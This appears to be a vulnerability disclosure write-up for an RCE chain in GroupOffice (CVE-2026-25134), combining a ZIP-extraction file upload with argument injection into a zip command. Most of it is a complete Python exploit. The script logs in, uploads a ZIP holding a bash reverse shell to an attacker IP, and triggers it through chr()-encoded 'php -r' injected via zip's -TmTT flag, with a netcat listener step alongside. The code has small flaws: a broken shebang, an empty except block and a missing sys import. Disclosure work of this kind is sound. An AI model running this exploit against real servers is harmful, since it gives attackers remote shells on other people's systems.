CVE-2026-25134 - Remote Code Execution in GroupOffice
RCE via arbitrary file upload - CVSS 9.4
Working with NumberOreo, we identified a Critical Remote Code Execution (RCE) vulnerability chain in GroupOffice. By combining an Arbitrary File Upload vulnerability (via Zip Extraction) in the EmailTemplate module with a Command Injection vulnerability in the Maintenance module, an authenticated attacker (with basic user privileges) can execute arbitrary commands on the server.
You can read the advisory here
Details
This exploit chain relies on two distinct vulnerabilities:
1. Arbitrary File Upload via Zip Extraction (EmailTemplate/fromZip)
The EmailTemplate controller allows users to import templates from a ZIP file. The extraction logic does not sufficiently validate the types or contents of files within the ZIP archive. The application extracts the ZIP contents into a temporary directory with a randomized name (e.g. /tmp/groupoffice/5f3a1b2c/payload.sh). normally making the full path execution difficult.
2. Argument Injection in MaintenanceController::actionZipLanguage
The MaintenanceController exposes an action zipLanguage which takes a lang parameter and passes it directly to a system zip command via exec().
The Bypass:
Since we do not know the exact randomized directory name created in step 1, we utilize the Command Injection in step 2 to execute a shell command using recursive globbing (wildcards).
By injecting bash /**/**/**/payload.sh, the system searches for our unique filename across the filesystem (or specifically within temporary paths), effectively bypassing the protection offered by the randomized directory name.
The code constructs a command like: zip [Lang_param]-version.zip
By injecting arguments into the lang parameter, we can manipulate the zip command. Specifically, we use the -TmTT flags to force zip to execute a test command (Reference: Argument Injection Vectors - Zip). Furthermore, we abuse the php -r command with chr() encoding to facilitate our command injection.
Vulnerable Code (MaintenanceController.php):
1public function actionZipLanguage($lang) {
2 // ...
3 $tmpFile = \GO\Base\Fs\File::tempFile($langCode.'-'.str_replace('.','-', GO::config()->version), 'zip');
4 // $langCode (derived from $lang) is injected into cmd string
5 $cmdString = GO::config()->cmd_zip.' '.$tmpFile->path().' '.implode(" ", $fileNames);
6 exec($cmdString, $outputArr, $retVal);
7}
PoC - Exploitation Chain
We demonstrate the vulnerability with a combined Python script that performs the following steps:
- Authenticate as a regular user (e.g., oreo).
- Generate a malicious .sh payload with a random filename.
- Upload a ZIP containing this payload via the API (api/upload.php + api/jmap.php -> EmailTemplate/fromZip).
- Trigger RCE by calling Maintenance/zipLanguage with a payload that executes the uploaded shell script using wildcard globbing (
bash /**/**/**/payload.sh).
Prerequisites: Before running the exploit:
- Start a netcat listener on your machine: nc -nvlp 4444
- Edit the BASE_URL variable to point to the authorized Group-Office instance.
- Edit the SHELL_CONTENT variable with your attacker IP address.
- Edit the USER and PASS variables with your credentials.
1!/usr/bin/env python3
2import os
3import requests
4import zipfile
5import io
6import random
7import string
8import time
9
10
11BASE_URL = os.environ.get("BASE_URL", "http://XX.XX.XX.XX.fr:4444")
12USER = os.environ.get("USER", "user")
13PASS = os.environ.get("PASS", "password")
14
15SHELL_CONTENT = b'/bin/bash -i >& /dev/tcp/XX.XX.XX.XX/4444 0>&1'
16
17
18def random_string(length=8):
19 return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
20
21def create_malicious_zip(filename, content):
22 zip_buffer = io.BytesIO()
23 with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
24 zf.writestr(filename, content)
25 zf.writestr("index.html", b"<html><body>Template</body></html>")
26 return zip_buffer.getvalue()
27
28def to_php_chr(s):
29 """Converts a string to a PHP chr() concatenation string."""
30 return ".".join([f"chr({ord(c)})" for c in s])
31
32def generate_rce_payload(command):
33 php_code = f"system({to_php_chr(command)});"
34 wrapped_payload = f"php -r '{php_code}'"
35 final_payload = f'-TmTT=$({wrapped_payload})'
36 return final_payload
37
38def authenticate(session):
39 """Authenticate via api/auth.php and return accessToken + csrfToken"""
40 url = f"{BASE_URL}/api/auth.php"
41 data = {"action": "login", "username": USER, "password": PASS}
42 headers = {'Content-Type': 'application/json'}
43
44 try:
45 resp = session.post(url, json=data, headers=headers, timeout=10)
46 if resp.status_code == 201:
47 json_resp = resp.json()
48 access_token = json_resp.get('accessToken')
49 csrf_token = json_resp.get('CSRFToken')
50 print(f"Login Successful")
51 return access_token, csrf_token
52 else:
53 print(f"Login Failed")
54 return None, None
55 except Exception as e:
56 print(f"Login Error: {e}")
57 return None, None
58
59def upload_zip_payload(session, zip_data, access_token, csrf_token):
60 """Uploads the malicious ZIP file using api/upload.php"""
61 url = f"{BASE_URL}/api/upload.php"
62 headers = {
63 'X-File-Name': 'payload.zip',
64 'Content-Type': 'application/octet-stream',
65 'Authorization': f'Bearer {access_token}'
66 }
67 if csrf_token:
68 headers['X-CSRF-Token'] = csrf_token
69
70 try:
71 resp = session.post(url, data=zip_data, headers=headers, timeout=10)
72 if resp.status_code in [200, 201]:
73 json_resp = resp.json()
74 blob_id = json_resp.get('id') or json_resp.get('blobId')
75 return blob_id
76 else:
77 return None
78 except Exception as e:
79 print(f"Upload Error: {e}")
80 return None
81
82def trigger_extraction(session, blob_id, access_token, csrf_token):
83 """Triggers the EmailTemplate/fromZip action via JMAP to extract the ZIP."""
84 url = f"{BASE_URL}/api/jmap.php"
85
86 jmap_request = [
87 ["EmailTemplate/fromZip", {
88 "blobId": blob_id,
89 "module": "addressbook",
90 "package": "community",
91 "subject": "PoC Exploit"
92 }, "extract"]
93 ]
94
95 headers = {
96 'Content-Type': 'application/json',
97 'Authorization': f'Bearer {access_token}'
98 }
99 if csrf_token:
100 headers['X-CSRF-Token'] = csrf_token
101
102 try:
103 resp = session.post(url, json=jmap_request, headers=headers, timeout=10)
104 except Exception as e:
105 print(f"Error: {e}")
106
107def trigger_rce_execution(session, shell_filename, access_token=None):
108 command = f"bash /**/**/**/{shell_filename}"
109 payload = generate_rce_payload(command)
110
111
112 url = f"{BASE_URL}/index.php"
113 params = {
114 "r": "maintenance/zipLanguage",
115 "lang": payload
116 }
117 headers = {}
118 if access_token:
119 headers['Authorization'] = f"Bearer {access_token}"
120
121 try:
122 resp = session.get(url, params=params, headers=headers, timeout=5)
123 except requests.exceptions.ReadTimeout:
124 except Exception as e:
125 print(f"RCE Trigger Error: {e}")
126
127def main():
128 session = requests.Session()
129
130 # 1. Authenticate
131 access_token, csrf_token = authenticate(session)
132 if not access_token:
133 sys.exit(1)
134
135 # 2. Generate random filename
136 shell_filename = f"{random_string(6)}.sh"
137
138 # 3. Create ZIP
139 zip_data = create_malicious_zip(shell_filename, SHELL_CONTENT)
140
141 # 4. Upload ZIP
142 blob_id = upload_zip_payload(session, zip_data, access_token, csrf_token)
143 if not blob_id:
144 sys.exit(1)
145
146 # 5. Trigger Extraction (puts shell on disk)
147 trigger_extraction(session, blob_id, access_token, csrf_token)
148
149 # Give it a split second to write to disk
150 time.sleep(1)
151
152 # 6. Execute via RCE
153 trigger_rce_execution(session, shell_filename, access_token)
154
155if __name__ == "__main__":
156 main()